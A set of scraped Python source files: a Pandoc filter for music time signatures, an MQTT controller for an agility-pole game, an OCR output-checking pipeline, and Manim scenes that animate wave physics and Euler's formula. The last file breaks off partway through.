python\n\n\"\"\"\nPandoc filter for producing lilyglyphs time signatures.\n\"\"\"\n\nfrom pandocfilters import toJSONFilter, RawInline, Span, Code, Str\n\ndef latex(x):\n return RawInline('latex', x)\n\n\ndef html(x):\n return RawInline('html', x)\n\n\ndef latex_timesig(key, value, fmt, meta):\n\tif key == 'Span':\n\t\t[[ident, classes, keyvals], contents] = value\n\t\tif \"timesig\" in classes:\n\t\t\ttimesig = contents[0]['c']\n\t\t\tnumerator = timesig.split('/')[0]\n\t\t\tdenominator = timesig.split('/')[1]\n\t\t\treturn [latex('\\\\lilyTimeSignature{' + numerator + '}{' + denominator + '}')]\n\t\telse:\n\t\t\treturn None\n\tif key == 'Code':\n\t\t[[ident, classes, keyvals], timesig] = value\n\t\tif '/' in timesig and timesig[0].isdigit() and len(timesig) <=5:\n\t\t\tnumerator = timesig.split('/')[0]\n\t\t\tdenominator = timesig.split('/')[1]\n\t\t\treturn [latex('\\\\lilyTimeSignature{' + numerator + '}{' + denominator + '}')]\n\t\telse:\n\t\t\treturn None\n\telse:\n\t\treturn None\n\nif __name__ == \"__main__\":\n toJSONFilter(latex_timesig)\n\n# TO DO\n# in the Code catching portion use a try...except logic to\n# test that the first and last split indices are digits\n# this will allow for things like Element `A/b`\n\n","repo_name":"cechandler/scripts","sub_path":"pandoc-timesig.py","file_name":"pandoc-timesig.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31504745931","text":"# A hub controller for smart-and-agile poles\n\nimport paho.mqtt.client as mqtt\nfrom random import randrange\nfrom time import sleep\nimport threading\n\nimport secret_config\n\n# CONFIGURE FOR YOUR MQTT SERVER\nADDRESS = secret_config.ADDRESS\nPORT = secret_config.PORT\n\n# Configure for your setup\nMIN_POLES = 1\nMAX_POLES = 4\nDELAY_SECS = 3\n\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n\n # Subscribing in on_connect() means that if we lose the connection and\n # reconnect then subscriptions will be renewed.\n #client.subscribe(\"$SYS/#\")\n client.subscribe('button')\n client.subscribe('in')\n client.subscribe('out')\n\n# The callback for when a PUBLISH message is received from the server.\ndef on_message(client, userdata, msg):\n print(msg.topic+\" \"+str(msg.payload))\n\ndef button_pressed(client, userdata, msg):\n global cur_pole, poles\n if cur_pole != -2:\n if poles[cur_pole] == str(msg.payload):\n print('Correct button pressed!')\n cur_pole = -2\n else:\n print('Wrong button m8')\n\ndef pole_connected(client, userdata, msg):\n le_nom = str(msg.payload)\n if le_nom not in poles:\n print(le_nom+' connected!')\n poles.append(le_nom)\n else:\n print('Imposter %s on the loose' % le_nom)\n\ndef pole_disconnected(client, userdata, msg):\n global cur_pole, poles\n le_nom = str(msg.payload)\n try:\n i = poles.index(le_nom)\n if cur_pole == i:\n # The pole that was active is gone, we'll have\n # to get a new one\n cur_pole = -2\n poles.remove(le_nom)\n print('%s left :(' % le_nom)\n except ValueError:\n print('How can he be gone if he never existed? We won\\'t miss you, %s' % le_nom)\n\ndef timeout_set():\n global timeout\n timeout = True\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.message_callback_add('button', button_pressed)\nclient.message_callback_add('in', pole_connected)\nclient.message_callback_add('out', pole_disconnected)\n\nclient.connect(ADDRESS, PORT, 60)\nclient.loop_start()\nprint('Running!')\npoles = []\ntimeout = False\ncur_pole = -2 # Used to represent invalid selection\n# Main loop\nwhile True:\n # Hang out until it's go time\n while len(poles) < MIN_POLES:\n pass\n \n # Go time\n cur_pole = randrange(len(poles))\n client.publish(poles[cur_pole], payload='go')\n print('Time for %s to go!' % poles[cur_pole])\n \n # Hang out until either the button is pressed or the pole disconnected\n while cur_pole != -2:\n pass\n \n # Give some time to get back to centre, and then start again\n timeout = False\n timer = threading.Timer(DELAY_SECS, timeout_set)\n timer.start()\n # Hang out until non-blocking delay finishes\n while not timeout:\n pass\n\n# Something went wrong - time to bail\nclient.loop_stop(force=False)\n","repo_name":"HowManyOliversAreThere/smart-and-agile","sub_path":"hub/software/pole_control.py","file_name":"pole_control.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16541663892","text":"import argparse\nimport json\n\nfrom base_processing import BaseProcess\n\n\nclass Pipeline:\n def __init__(self, path):\n self.path = path\n self.process = BaseProcess()\n\n def run(self, filename: str = \"output_data.json\"):\n data = self.process.process_document(self.path)\n with open(filename) as file:\n expected = json.load(file)\n if data == expected:\n print(\"passed\")\n else:\n self.write_markup(filename, data)\n print(\"markup updated\")\n\n def shielding_markup(self, data):\n if isinstance(data, list):\n iterator = enumerate(data)\n else:\n iterator = data.items()\n for i, v in iterator:\n if isinstance(v, str):\n data[i] = v.replace(\"\\\\\", \"\\\\\\\\\")\n data[i] = v.replace('\"', r\"\\\"\")\n elif isinstance(v, (list, dict)):\n self.shielding_markup(v)\n\n def write_markup(self, filename, data, shielding=True):\n if shielding:\n self.shielding_markup(data)\n res = json.dumps(data, indent=4).encode(\"utf8\").decode(\"unicode-escape\")\n with open(filename, \"w\") as file:\n file.write(res)\n\n\nif __name__ == \"__main__\":\n a_parser = argparse.ArgumentParser(description=\"Parse document\")\n a_parser.add_argument(\"--invoice_path\", \"-p\", help=\"Path to file\", required=True)\n args = a_parser.parse_args()\n pipeline = Pipeline(args.invoice_path)\n pipeline.run()\n","repo_name":"ssliadniev/ocr-tesseract-ml","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37337012794","text":"# doc: https://docs.manim.community/en/stable/index.html\r\n# run: manim -pqh scene.py \r\nimport math\r\n\r\nimport sympy\r\nfrom manim import *\r\nfrom tqdm import tqdm\r\n\r\n\r\nclass WavePropInBar(Scene):\r\n c = 1\r\n\r\n def theta_forward(self, x, t):\r\n return x - self.c*t\r\n\r\n def theta_backward(self, x, t):\r\n return x + self.c*t\r\n\r\n def f_forward(self, x, t):\r\n # bump function\r\n X = self.theta_forward(x, t)\r\n if X <= -1:\r\n return 0\r\n elif -1 < X < 1:\r\n return math.exp(-1/(1-X**2))\r\n else:\r\n return 0\r\n\r\n def f_backward(self, x, t):\r\n # bump function\r\n X = self.theta_backward(x, t)\r\n if X <= -1:\r\n return 0\r\n elif -1 < X < 1:\r\n return math.exp(-1/(1-X**2))\r\n else:\r\n return 0\r\n\r\n def construct(self):\r\n axes_forward = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 5, 1],\r\n y_range=[0, .4, .1],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-.01, 5.01, 2),\r\n # 大尺度标记\r\n \"numbers_with_elongated_ticks\": np.arange(-.01, 5.01, 2),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(0, .41, .2),\r\n \"numbers_with_elongated_ticks\": np.arange(0, .41, .2),\r\n },\r\n tips=False, # 坐标箭头\r\n ).to_edge(UP)\r\n axes_labels_forward = axes_forward.get_axis_labels(y_label=\"\")\r\n axes_backward = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-5, 0, 1],\r\n y_range=[0, .4, .1],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-5.01, .01, 2),\r\n # 大尺度标记\r\n \"numbers_with_elongated_ticks\": np.arange(-5.01, .01, 2),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(0, .41, .2),\r\n \"numbers_with_elongated_ticks\": np.arange(0, .41, .2),\r\n },\r\n tips=False, # 坐标箭头\r\n ).next_to(axes_forward, DOWN)\r\n axes_labels_backward = axes_backward.get_axis_labels(y_label=\"\")\r\n # 设置一个变量t,用于控制动画\r\n t = ValueTracker(0)\r\n t.add_updater(lambda mobj, dt: mobj.increment_value(dt))\r\n\r\n forward_plot = axes_forward.plot(lambda x: self.f_forward(\r\n x, t.get_value()), color=BLUE)\r\n forward_plot.add_updater(lambda mobj: mobj.become(\r\n axes_forward.plot(lambda x: self.f_forward(x, t.get_value()), color=BLUE)))\r\n backward_plot = axes_backward.plot(lambda x: self.f_backward(\r\n x, t.get_value()), color=YELLOW)\r\n backward_plot.add_updater(lambda mobj: mobj.become(\r\n axes_backward.plot(lambda x: self.f_backward(x, t.get_value()), color=YELLOW)))\r\n # equations = MathTex(\r\n # r\"\\frac{\\partial^2 u}{\\partial t^2} = c^2 \\frac{\\partial^2 u}{\\partial x^2}\").next_to(label, UP)\r\n equation_f = MathTex(r\"y_f = f(x - ct)\", color=BLUE)\r\n equation_b = MathTex(r\"y_b = f(x + ct)\",\r\n color=YELLOW).next_to(equation_f, RIGHT)\r\n c_label = MathTex(f\"c = {self.c}\").next_to(equation_b, RIGHT)\r\n t_label = MathTex(\"t = \").next_to(c_label, RIGHT)\r\n t_number = DecimalNumber(t.get_value(), num_decimal_places=2)\r\n t_number.add_updater(lambda mobj: mobj.set_value(\r\n t.get_value()).next_to(t_label, RIGHT))\r\n text_group = VGroup(equation_f, equation_b, c_label, t_label, t_number).next_to(\r\n axes_backward, DOWN)\r\n plot = VGroup(axes_forward,\r\n axes_labels_forward,\r\n axes_backward,\r\n axes_labels_backward,\r\n forward_plot,\r\n backward_plot,\r\n t_number,\r\n t_label,\r\n c_label)\r\n self.add(t)\r\n self.add(plot, text_group)\r\n self.wait(5)\r\n\r\n\r\nclass EulerFormula(Scene):\r\n def construct(self):\r\n # axes\r\n x_axis_pos_y = 2.5\r\n x_axis_range = (-5, 5)\r\n x_start = np.array([x_axis_range[0], x_axis_pos_y, 0])\r\n x_end = np.array([x_axis_range[1], x_axis_pos_y, 0])\r\n im_start = np.array([x_axis_range[0], x_axis_pos_y-1, 0])\r\n im_end = np.array([x_axis_range[0], x_axis_pos_y+1, 0])\r\n\r\n y_axis_pos_x = -3.5\r\n y_axis_range = (4, -3)\r\n y_start = np.array([y_axis_pos_x, y_axis_range[0], 0])\r\n y_end = np.array([y_axis_pos_x, y_axis_range[1], 0])\r\n re_start = np.array([y_axis_pos_x-1, y_axis_range[0], 0])\r\n re_end = np.array([y_axis_pos_x+1, y_axis_range[0], 0])\r\n\r\n self.x_rate, self.y_rate = .5, .3\r\n\r\n self.x_axis = Arrow(x_start, x_end, stroke_width=2,\r\n max_tip_length_to_length_ratio=.02, color=GREEN)\r\n self.y_axis = Arrow(y_start, y_end, stroke_width=2,\r\n max_tip_length_to_length_ratio=.025, color=GREEN)\r\n\r\n self.re_axis = Arrow(re_start, re_end, stroke_width=2,\r\n max_tip_length_to_length_ratio=.1, color=GREEN)\r\n self.re_axis.shift(.26*DOWN)\r\n self.im_axis = Arrow(im_start, im_end, stroke_width=2,\r\n max_tip_length_to_length_ratio=.1, color=GREEN)\r\n self.im_axis.shift(.26*RIGHT)\r\n\r\n self.re_label = MathTex(\"Re\").next_to(\r\n self.re_axis, .2*RIGHT).rotate(-PI/2).scale(.8)\r\n self.im_label = MathTex(\"Im\").next_to(self.im_axis, .2*UP).scale(.8)\r\n\r\n axis_label_x = MathTex(\r\n r\"\\theta\").next_to(self.x_axis, RIGHT).scale(.8)\r\n axis_label_y = MathTex(\r\n r\"\\theta\").next_to(self.y_axis, DOWN).scale(.8)\r\n\r\n # circle\r\n self.circle_radius = 1\r\n self.origin = np.array([y_axis_pos_x, x_axis_pos_y, 0])\r\n self.circle = Circle(radius=self.circle_radius, color=BLUE)\r\n self.circle.move_to(self.origin)\r\n\r\n # orbit dot\r\n self.orbit_dot = Dot(radius=.05, color=YELLOW)\r\n self.orbit_dot.move_to(self.circle.point_from_proportion(0))\r\n\r\n # main arrow\r\n self.arrow = Arrow(self.origin,\r\n self.orbit_dot.get_center(),\r\n color=YELLOW_A,\r\n max_tip_length_to_length_ratio=0.15,\r\n max_stroke_width_to_length_ratio=2,\r\n buff=0)\r\n\r\n self.t = 0\r\n\r\n def go_around_circle(mobj, dt):\r\n self.t += dt\r\n mobj.move_to(self.circle.point_from_proportion((self.t / TAU) % 1))\r\n return mobj\r\n\r\n self.orbit_dot.add_updater(go_around_circle)\r\n\r\n def update_arrow(mobj):\r\n mobj.put_start_and_end_on(self.origin, self.orbit_dot.get_center())\r\n return mobj\r\n\r\n self.arrow.add_updater(update_arrow)\r\n\r\n # x curve dot\r\n self.x_curve_start = np.array(\r\n [self.origin[0], self.orbit_dot.get_center()[1], 0])\r\n\r\n def get_x_curve_dot():\r\n x = self.x_curve_start[0] + self.t * self.x_rate\r\n y = self.orbit_dot.get_center()[1]\r\n return Dot(np.array([x, y, 0]), color=RED, radius=.05)\r\n\r\n # x curve\r\n self.x_curve = VGroup()\r\n\r\n def get_x_curve():\r\n if len(self.x_curve) == 0:\r\n self.x_curve.add(Line(self.x_curve_start,\r\n self.x_curve_start, color=RED))\r\n last_line = self.x_curve[-1]\r\n x = self.x_curve_start[0] + self.t * self.x_rate\r\n y = self.orbit_dot.get_center()[1]\r\n new_line = Line(last_line.get_end(), np.array(\r\n [x, y, 0]), color=RED)\r\n self.x_curve.add(new_line)\r\n return self.x_curve\r\n\r\n self.x_curve_dot = always_redraw(get_x_curve_dot)\r\n self.x_curve_line = always_redraw(get_x_curve)\r\n\r\n # y curve dot\r\n self.y_curve_start = np.array(\r\n [self.orbit_dot.get_center()[0], self.origin[1], 0])\r\n\r\n def get_y_curve_dot():\r\n x = self.orbit_dot.get_center()[0]\r\n y = self.y_curve_start[1] - self.t * self.y_rate\r\n return Dot(np.array([x, y, 0]), color=YELLOW, radius=.05)\r\n\r\n # y curve\r\n self.y_curve = VGroup()\r\n\r\n def get_y_curve():\r\n if len(self.y_curve) == 0:\r\n self.y_curve.add(Line(self.y_curve_start,\r\n self.y_curve_start, color=YELLOW))\r\n last_line = self.y_curve[-1]\r\n x = self.orbit_dot.get_center()[0]\r\n y = self.y_curve_start[1] - self.t * self.y_rate\r\n new_line = Line(last_line.get_end(), np.array(\r\n [x, y, 0]), color=YELLOW)\r\n self.y_curve.add(new_line)\r\n return self.y_curve\r\n\r\n self.y_curve_dot = always_redraw(get_y_curve_dot)\r\n self.y_curve_line = always_redraw(get_y_curve)\r\n\r\n # orbit_dot to x axis line\r\n def get_orbit_dot_to_x_axis_line():\r\n pos_line_start = self.orbit_dot.get_center()\r\n pos_line_end = np.array(\r\n [self.orbit_dot.get_center()[0], x_axis_pos_y, 0])\r\n return Line(pos_line_start, pos_line_end, color=PURPLE, stroke_width=2)\r\n\r\n self.orbit_dot_to_x_axis_line = always_redraw(\r\n get_orbit_dot_to_x_axis_line)\r\n\r\n # orbit_dot to y axis line\r\n def get_orbit_dot_to_y_axis_line():\r\n pos_line_start = self.orbit_dot.get_center()\r\n pos_line_end = np.array(\r\n [y_axis_pos_x, self.orbit_dot.get_center()[1], 0])\r\n return Line(pos_line_start, pos_line_end, color=MAROON, stroke_width=2)\r\n\r\n self.orbit_dot_to_y_axis_line = always_redraw(\r\n get_orbit_dot_to_y_axis_line)\r\n\r\n # origin to x axis arrow\r\n def get_origin_to_x_axis_arrow():\r\n pos_end = np.array(\r\n [self.orbit_dot.get_center()[0], x_axis_pos_y, 0])\r\n return Arrow(self.origin, pos_end, color=WHITE, max_tip_length_to_length_ratio=0.15,\r\n max_stroke_width_to_length_ratio=2, buff=0)\r\n\r\n self.origin_to_x_axis_arrow = always_redraw(get_origin_to_x_axis_arrow)\r\n\r\n # origin to y axis arrow\r\n def get_origin_to_y_axis_arrow():\r\n pos_end = np.array(\r\n [y_axis_pos_x, self.orbit_dot.get_center()[1], 0])\r\n return Arrow(self.origin, pos_end, color=WHITE, max_tip_length_to_length_ratio=0.15,\r\n max_stroke_width_to_length_ratio=2, buff=0)\r\n\r\n self.origin_to_y_axis_arrow = always_redraw(get_origin_to_y_axis_arrow)\r\n\r\n # orbit_dot to y curve line\r\n def get_orbit_dot_to_y_curve_line():\r\n pos_line_start = self.orbit_dot.get_center()\r\n pos_line_end = np.array(\r\n [self.orbit_dot.get_center()[0], self.y_curve_dot.get_center()[1], 0])\r\n return Line(pos_line_start, pos_line_end, color=PURPLE, stroke_width=2)\r\n\r\n self.orbit_dot_to_y_curve_line = always_redraw(\r\n get_orbit_dot_to_y_curve_line)\r\n\r\n # orbit_dot to y axis line\r\n def get_orbit_dot_to_x_curve_line():\r\n pos_line_start = self.orbit_dot.get_center()\r\n pos_line_end = np.array(\r\n [self.x_curve_dot.get_center()[0], self.orbit_dot.get_center()[1], 0])\r\n return Line(pos_line_start, pos_line_end, color=MAROON, stroke_width=2)\r\n\r\n self.orbit_dot_to_x_curve_line = always_redraw(\r\n get_orbit_dot_to_x_curve_line)\r\n\r\n self.equation = MathTex(\r\n r\"e^{i \\theta} = \\cos(\\theta) + i \\sin(\\theta)\").move_to([0, 0, 0]).shift(RIGHT)\r\n\r\n # ticks\r\n x_labels = [\r\n MathTex(\"\\pi\"), MathTex(\"2 \\pi\"),\r\n MathTex(\"3 \\pi\"), MathTex(\"4 \\pi\"), MathTex(\"5 \\pi\")\r\n ]\r\n y_labels = [\r\n MathTex(\"\\pi\"), MathTex(\"2 \\pi\"),\r\n MathTex(\"3 \\pi\"), MathTex(\"4 \\pi\"), MathTex(\"5 \\pi\")\r\n ]\r\n\r\n x_label_group = VGroup()\r\n for i, label in enumerate(x_labels):\r\n label.move_to(self.origin).shift(.25*DOWN)\r\n label.shift(self.x_rate*PI * (i+1) * RIGHT)\r\n x_label_group.add(label)\r\n y_label_group = VGroup()\r\n for i, label in enumerate(y_labels):\r\n label.move_to(self.origin).shift(.25*LEFT).rotate(-PI/2)\r\n label.shift(self.y_rate*PI * (i+1) * DOWN)\r\n y_label_group.add(label)\r\n\r\n # theta value\r\n self.theta_label = MathTex(r\"\\theta = \").next_to(\r\n self.equation, DOWN, aligned_edge=LEFT)\r\n\r\n def get_theta():\r\n return DecimalNumber(self.t, num_decimal_places=2).next_to(self.theta_label, RIGHT)\r\n\r\n self.theta = always_redraw(get_theta)\r\n\r\n axis_group = VGroup(self.x_axis, self.y_axis,\r\n self.im_axis, self.re_axis)\r\n axis_label_group = VGroup(\r\n axis_label_x, axis_label_y, self.re_label, self.im_label)\r\n axis_value_group = VGroup(x_label_group, y_label_group)\r\n\r\n group1 = VGroup(axis_group,\r\n axis_label_group,\r\n axis_value_group,\r\n self.circle)\r\n\r\n group2 = VGroup(self.orbit_dot,\r\n self.arrow,\r\n self.x_curve_dot,\r\n self.x_curve_line,\r\n self.y_curve_dot,\r\n self.y_curve_line)\r\n group3 = VGroup(self.orbit_dot_to_x_axis_line,\r\n self.orbit_dot_to_y_axis_line,\r\n self.origin_to_x_axis_arrow,\r\n self.origin_to_y_axis_arrow,\r\n self.orbit_dot_to_y_curve_line,\r\n self.orbit_dot_to_x_curve_line,\r\n self.equation,\r\n self.theta_label,\r\n self.theta)\r\n group = VGroup(group1, group2, group3)\r\n self.add(group)\r\n self.wait(2*PI * 2.5)\r\n\r\n\r\nclass StandingWave(Scene):\r\n gamma_f = 1 # wave number forward\r\n gamma_b = 1 # wave number backward\r\n omega_f = 1 # angular frequency forward\r\n omega_b = 1 # angular frequency backward\r\n\r\n def forward_wave(self, x, t):\r\n alpha = .5\r\n return alpha * np.sin(self.gamma_f*x - self.omega_f*t)\r\n\r\n def backward_wave(self, x, t):\r\n alpha = .5\r\n return alpha * np.sin(self.gamma_b*x + self.omega_b*t)\r\n\r\n def standing_wave(self, x, t):\r\n return self.forward_wave(x, t) + self.backward_wave(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).shift(1.5*UP)\r\n axes_labels = axes.get_axis_labels()\r\n\r\n equation_forward = MathTex(r\"\\sin(\\gamma_f x - \\omega_f t)\", color=BLUE).next_to(\r\n axes, UP).shift(3*RIGHT)\r\n equation_backward = MathTex(r\"\\sin(\\gamma_b x + \\omega_b t)\", color=YELLOW).next_to(\r\n axes, UP).shift(3*LEFT)\r\n\r\n self.add(axes, axes_labels, equation_backward, equation_forward)\r\n\r\n t = ValueTracker(0)\r\n\r\n def update_t(mob, dt):\r\n t.increment_value(dt)\r\n t.add_updater(update_t)\r\n\r\n forward_wave = axes.plot(lambda x: self.forward_wave(\r\n x, t.get_value()), color=BLUE)\r\n\r\n def update_forward_wave(mobj):\r\n mobj.become(axes.plot(lambda x: self.forward_wave(\r\n x, t.get_value()), color=BLUE))\r\n forward_wave.add_updater(update_forward_wave)\r\n\r\n backward_wave = axes.plot(lambda x: self.backward_wave(\r\n x, t.get_value()), color=YELLOW)\r\n\r\n def update_backward_wave(mobj):\r\n mobj.become(axes.plot(lambda x: self.backward_wave(\r\n x, t.get_value()), color=YELLOW))\r\n backward_wave.add_updater(update_backward_wave)\r\n\r\n axes2 = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).shift(1.5*DOWN)\r\n axes_labels2 = axes.get_axis_labels()\r\n self.add(axes2, axes_labels2)\r\n\r\n standing_wave = axes2.plot(lambda x: self.standing_wave_verify(\r\n x, t.get_value()).imag, color=PURPLE)\r\n\r\n def update_standing_wave(mobj):\r\n mobj.become(axes2.plot(lambda x: self.standing_wave_verify(\r\n x, t.get_value()).imag, color=PURPLE))\r\n standing_wave.add_updater(update_standing_wave)\r\n\r\n gamma_label_b = MathTex(f\"\\gamma_b = {self.gamma_b}\", color=YELLOW).next_to(\r\n axes, DOWN).shift(3.5*LEFT)\r\n omega_label_b = MathTex(f\"\\omega_b = {self.omega_b}\", color=YELLOW).next_to(\r\n gamma_label_b, RIGHT)\r\n gamma_label_f = MathTex(f\"\\gamma_f = {self.gamma_f}\", color=BLUE).next_to(\r\n omega_label_b, RIGHT)\r\n omega_label_f = MathTex(f\"\\omega_f = {self.omega_f}\", color=BLUE).next_to(\r\n gamma_label_f, RIGHT)\r\n\r\n t_label = MathTex(\"t = \").next_to(omega_label_f, RIGHT)\r\n t_number = DecimalNumber(t.get_value(), num_decimal_places=2).next_to(\r\n t_label, RIGHT)\r\n t_number.add_updater(lambda m: m.set_value(t.get_value()))\r\n\r\n self.add(t,\r\n gamma_label_f,\r\n gamma_label_b,\r\n omega_label_f,\r\n omega_label_b,\r\n t_label,\r\n t_number)\r\n self.add(forward_wave,\r\n backward_wave,\r\n standing_wave)\r\n self.wait(2*PI)\r\n\r\n\r\nclass StandingWaveVerify(Scene):\r\n gamma = 1\r\n omega = 1\r\n\r\n def standing_wave(self, x, t):\r\n return np.cos(self.gamma*x)*np.exp(-1j*self.omega*t)\r\n\r\n def construct(self):\r\n equation = MathTex(r\"u(x, t) = \\cos(\\gamma x) e^{-i\\omega t}\")\r\n text_gamma = MathTex(f\"\\gamma = {self.gamma}\").next_to(equation, RIGHT)\r\n text_omega = MathTex(f\"\\omega = {self.omega}\").next_to(\r\n text_gamma, RIGHT)\r\n t = ValueTracker(0)\r\n t_label = MathTex(\"t = \").next_to(text_omega, RIGHT)\r\n t_number = DecimalNumber(t.get_value(), num_decimal_places=2).next_to(\r\n t_label, RIGHT)\r\n t_number.add_updater(lambda m: m.set_value(t.get_value()))\r\n eqgroup = VGroup(equation,\r\n text_gamma,\r\n text_omega,\r\n t_label,\r\n t_number).move_to(ORIGIN).to_edge(UP)\r\n\r\n axes_re = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).next_to(eqgroup, 2*DOWN)\r\n axes_im = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).next_to(axes_re, 2*DOWN)\r\n axes_labels_re = axes_re.get_axis_labels(y_label=\"Re\")\r\n axes_labels_im = axes_im.get_axis_labels(y_label=\"Im\")\r\n self.add(axes_re, axes_labels_re, axes_im, axes_labels_im)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n standing_wave_re = axes_re.plot(lambda x: self.standing_wave(\r\n x, t.get_value()).real, color=BLUE)\r\n\r\n def update_standing_wave_re(mobj):\r\n mobj.become(axes_re.plot(lambda x: self.standing_wave(\r\n x, t.get_value()).real, color=BLUE))\r\n standing_wave_re.add_updater(update_standing_wave_re)\r\n\r\n standing_wave_im = axes_im.plot(lambda x: self.standing_wave(\r\n x, t.get_value()).imag, color=PURPLE)\r\n\r\n def update_standing_wave_im(mobj):\r\n mobj.become(axes_im.plot(lambda x: self.standing_wave(\r\n x, t.get_value()).imag, color=PURPLE))\r\n standing_wave_im.add_updater(update_standing_wave_im)\r\n\r\n self.add(eqgroup)\r\n self.add(t)\r\n self.add(standing_wave_re, standing_wave_im)\r\n\r\n self.wait(2*PI)\r\n\r\n\r\nclass PowerAndEnergy(Scene):\r\n rho = 1 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n A = 1 # cross section area (assumed constant)\r\n omega = 1 # angular frequency (assumed constant) (eq.50, P.225)\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n c = (E/rho)**(1/2) # wave speed (eq.10, P.218)\r\n gamma = omega / c # wave number (eq.53, P.225)\r\n\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.construct_derivatives()\r\n\r\n def theta(self, x, t):\r\n \"\"\"The single variable\r\n\r\n Toggle the sign of the 't' term to change the direction of the wave\r\n \"\"\"\r\n return x - self.c*t\r\n\r\n def u(self, x, t):\r\n \"\"\"Propagating wave function (any)\r\n\r\n Note: Need to use sympy functions for derivatives\r\n \"\"\"\r\n return sympy.cos(self.gamma*self.theta(x, t))\r\n\r\n def construct_derivatives(self):\r\n \"\"\"Construct derivatives of f(x, t)\"\"\"\r\n X, T = sympy.symbols('x t')\r\n _du_dx = sympy.diff(self.u(X, T), X)\r\n self._du_dx_func = sympy.lambdify((X, T), _du_dx)\r\n _du_dt = sympy.diff(self.u(X, T), T)\r\n self._du_dt_func = sympy.lambdify((X, T), _du_dt)\r\n\r\n def du_dx(self, x, t):\r\n \"\"\"Strain (du/dx)\r\n\r\n Note:\r\n (eq.4, P.217)\r\n When a particle has a stable valocity, the strain is zero.\r\n Only when the particle volocity is changing, (i.e. the\r\n particle has an acceleration), then the strain is non-zero.\r\n \"\"\"\r\n return self._du_dx_func(x, t)\r\n\r\n def du_dt(self, x, t):\r\n \"\"\"Particle velocity (du/dt)\r\n\r\n Note:\r\n df_dt should be = -c*df_dx for a forward wave (eq.38, P.223)\r\n the sign is inverted for a backward wave\r\n \"\"\"\r\n return self._du_dt_func(x, t)\r\n\r\n def k(self, x, t):\r\n \"\"\"Kinetic energy (eq.73, P.229)\r\n\r\n Note:\r\n k should be = v\r\n \"\"\"\r\n return 1/2*self.m*self.du_dt(x, t)**2\r\n\r\n def v(self, x, t):\r\n \"\"\"Elastic energy (eq.74, 